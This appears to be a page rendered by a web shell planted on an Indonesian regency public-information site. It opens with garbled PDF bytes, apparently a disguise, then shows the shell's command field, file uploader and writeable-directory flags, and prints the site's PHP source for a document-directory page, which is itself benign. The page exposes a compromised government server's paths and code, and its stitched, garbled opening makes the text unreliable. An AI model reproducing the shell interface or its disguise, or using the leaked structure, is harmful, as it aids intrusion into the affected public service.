%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/direktori-informasi.php
<?php
/**
 * Halaman Direktori Informasi — informasi publik dikelompokkan per Direktori.
 *
 * Query string:
 *   ?dir=slug   Filter berdasarkan direktori (kosong = Semua Direktori).
 *   ?q=kata     Kata kunci pencarian.
 *   ?page=n     Paginasi.
 */
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/queries.php';

$dirSlug = get_param('dir');
$keyword = get_param('q');
$page    = max(1, (int) get_param('page', '1'));
$perPage = 9;
$offset  = ($page - 1) * $perPage;

$direktoriList = get_direktori_list();
$jumlahDir     = count_dokumen_per_direktori();
$activeDir     = $dirSlug ? get_direktori_by_slug($dirSlug) : null;

// Hanya dokumen publish yang terikat ke sebuah direktori.
$where  = ["d.status = 'publish'", 'd.direktori_id IS NOT NULL'];
$params = [];
if ($activeDir) {
    $where[] = 'd.direktori_id = :dir';
    $params[':dir'] = $activeDir['id'];
}
if ($keyword !== '') {
    $where[] = '(d.judul LIKE :kw1 OR d.deskripsi LIKE :kw2 OR d.unit_kerja LIKE :kw3)';
    $like = '%' . $keyword . '%';
    $params[':kw1'] = $like; $params[':kw2'] = $like; $params[':kw3'] = $like;
}
$whereSql = implode(' AND ', $where);

$countStmt = db()->prepare("SELECT COUNT(*) FROM dokumen_informasi d WHERE $whereSql");
$countStmt->execute($params);
$total      = (int) $countStmt->fetchColumn();
$totalPages = max(1, (int) ceil($total / $perPage));

$sql = "SELECT d.*, k.nama AS kategori_nama, k.warna, k.icon,
               dir.nama AS direktori_nama, dir.slug AS direktori_slug,
               u.singkatan AS upd_singkatan, u.nama AS upd_nama
        FROM dokumen_informasi d
        JOIN kategori_informasi k ON k.id = d.kategori_id
        JOIN direktori dir ON dir.id = d.direktori_id
        LEFT JOIN upd u ON u.id = d.upd_id
        WHERE $whereSql
        ORDER BY d.created_at DESC
        LIMIT :limit OFFSET :offset";
$stmt = db()->prepare($sql);
foreach ($params as $k => $v) { $stmt->bindValue($k, $v); }
$stmt->bindValue(':limit', $perPage, PDO::PARAM_INT);
$stmt->bindValue(':offset', $offset, PDO::PARAM_INT);
$stmt->execute();
$dokumen = $stmt->fetchAll();

$buildUrl = static function (array $o = []) use ($dirSlug, $keyword): string {
    $p = array_filter([
        'dir'  => $o['dir']  ?? $dirSlug,
        'q'    => $o['q']    ?? $keyword,
        'page' => $o['page'] ?? null,
    ], static fn ($v) => $v !== null && $v !== '');
    return url('direktori-informasi.php' . ($p ? '?' . http_build_query($p) : ''));
};

$pageTitle = 'Direktori Informasi' . ($activeDir ? ' — ' . $activeDir['nama'] : '') . ' — ' . APP_NAME_SHORT;
$activeNav = 'layanan';
require __DIR__ . '/partials/head.php';
require __DIR__ . '/partials/navbar.php';
?>

<section class="relative overflow-hidden bg-gradient-to-br from-mateng-green to-mateng-blue text-white py-14">
    <?php require __DIR__ . '/partials/sekda-header.php'; ?>
    <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
        <nav class="text-sm text-green-100 mb-3">
            <a href="<?= e(url('index.php')) ?>" class="hover:underline">Beranda</a><span class="mx-2">/</span>
            <span>Layanan Informasi</span>
            <?php if ($activeDir): ?><span class="mx-2">/</span><span><?= e($activeDir['nama']) ?></span><?php endif; ?>
        </nav>
        <h1 class="text-3xl md:text-4xl font-extrabold mb-2"><?= $activeDir ? e($activeDir['nama']) : 'Direktori Informasi' ?></h1>
        <p class="text-green-50 max-w-2xl"><?= $activeDir ? e($activeDir['deskripsi'] ?: 'Kumpulan informasi publik pada direktori ' . $activeDir['nama'] . '.') : 'Telusuri informasi publik yang dikelompokkan berdasarkan direktori di lingkungan Pemerintah Kabupaten Mamuju Tengah.' ?></p>
    </div>
</section>

<main class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-10 w-full">
    <?php if ($activeDir): ?>
        <!-- Panel direktori terpilih -->
        <div class="bg-white border border-slate-100 rounded-2xl shadow-sm p-6 mb-8 flex flex-col lg:flex-row lg:items-center gap-5">
            <div class="w-14 h-14 rounded-2xl bg-gradient-to-br from-mateng-green to-mateng-blue text-white flex items-center justify-center text-xl shadow-md shrink-0"><i class="fas fa-folder-tree"></i></div>
            <div class="flex-grow">
                <h2 class="font-bold text-slate-900"><?= e($activeDir['nama']) ?></h2>
                <?php if (!empty($activeDir['deskripsi'])): ?><p class="text-sm text-slate-500 mt-1"><?= e($activeDir['deskripsi']) ?></p><?php endif; ?>
            </div>
            <a href="<?= e(url('direktori-informasi.php')) ?>" class="shrink-0 inline-flex items-center gap-2 text-sm font-semibold text-mateng-green hover:underline"><i class="fas fa-arrow-left"></i> Semua Direktori</a>
        </div>
    <?php endif; ?>

    <!-- Filter direktori (dropdown) + pencarian -->
    <div class="mb-2">
        <div class="flex items-center gap-2 mb-3 text-sm font-semibold text-slate-600"><i class="fas fa-filter text-mateng-green"></i> Saring Direktori</div>
        <form method="get" class="flex flex-col md:flex-row md:items-center gap-3">
            <div class="relative w-full md:w-96">
                <i class="fas fa-folder-tree absolute left-3.5 top-1/2 -translate-y-1/2 text-slate-400"></i>
                <select name="dir" onchange="this.form.submit()" class="w-full appearance-none bg-white border border-slate-200 rounded-lg pl-10 pr-10 py-2.5 text-sm font-medium text-slate-700 outline-none focus:border-mateng-green focus:ring-4 focus:ring-mateng-green/10 cursor-pointer">
                    <option value="">Semua Direktori</option>
                    <?php foreach ($direktoriList as $dir):
                        $cnt = $jumlahDir[(int) $dir['id']] ?? 0; ?>
                        <option value="<?= e($dir['slug']) ?>" <?= $dirSlug === $dir['slug'] ? 'selected' : '' ?>><?= e($dir['nama']) ?> — <?= $cnt ?> dok</option>
                    <?php endforeach; ?>
                </select>
                <i class="fas fa-chevron-down absolute right-3.5 top-1/2 -translate-y-1/2 text-slate-400 text-xs pointer-events-none"></i>
            </div>
            <div class="flex items-center bg-white border border-slate-200 rounded-lg px-3 py-2 focus-within:border-mateng-green transition-colors w-full md:w-72">
                <i class="fas fa-search text-slate-400 mr-2"></i>
                <input type="text" name="q" value="<?= e($keyword) ?>" placeholder="Cari dokumen..." class="bg-transparent outline-none text-sm w-full text-slate-700">
            </div>
            <?php if ($dirSlug || $keyword !== ''): ?>
                <a href="<?= e(url('direktori-informasi.php')) ?>" class="text-sm text-slate-500 hover:text-mateng-green inline-flex items-center gap-1.5 shrink-0"><i class="fas fa-rotate-left"></i> Reset</a>
            <?php endif; ?>
        </form>
    </div>

    <?php if (empty($dokumen)): ?>
        <div class="text-center py-20 bg-white rounded-2xl border border-slate-100">
            <i class="fas fa-folder-open text-5xl text-slate-300 mb-4"></i>
            <p class="text-slate-500 font-medium">Belum ada dokumen pada direktori ini.</p>
        </div>
    <?php else:
        $resultText = '<strong>' . (int) $total . '</strong> dokumen'
            . ($activeDir ? ' pada direktori ' . e($activeDir['nama']) : ' dari seluruh direktori')
            . ($keyword !== '' ? ' untuk "<strong>' . e($keyword) . '</strong>"' : '');
        $accent = 'green';
        require __DIR__ . '/partials/dokumen-koleksi.php';
    ?>

        <?php if ($totalPages > 1): ?>
            <div class="flex justify-center items-center gap-2 mt-10">
                <?php for ($i = 1; $i <= $totalPages; $i++): ?>
                    <a href="<?= e($buildUrl(['page' => $i])) ?>" class="px-4 py-2 rounded-lg border text-sm font-medium <?= $i === $page ? 'bg-mateng-green text-white border-mateng-green' : 'bg-white text-slate-600 border-slate-200 hover:border-mateng-green' ?>"><?= $i ?></a>
                <?php endfor; ?>
            </div>
        <?php endif; ?>
    <?php endif; ?>
</main>

<?php require __DIR__ . '/partials/footer.php'; ?>

Kontol Shell Bypass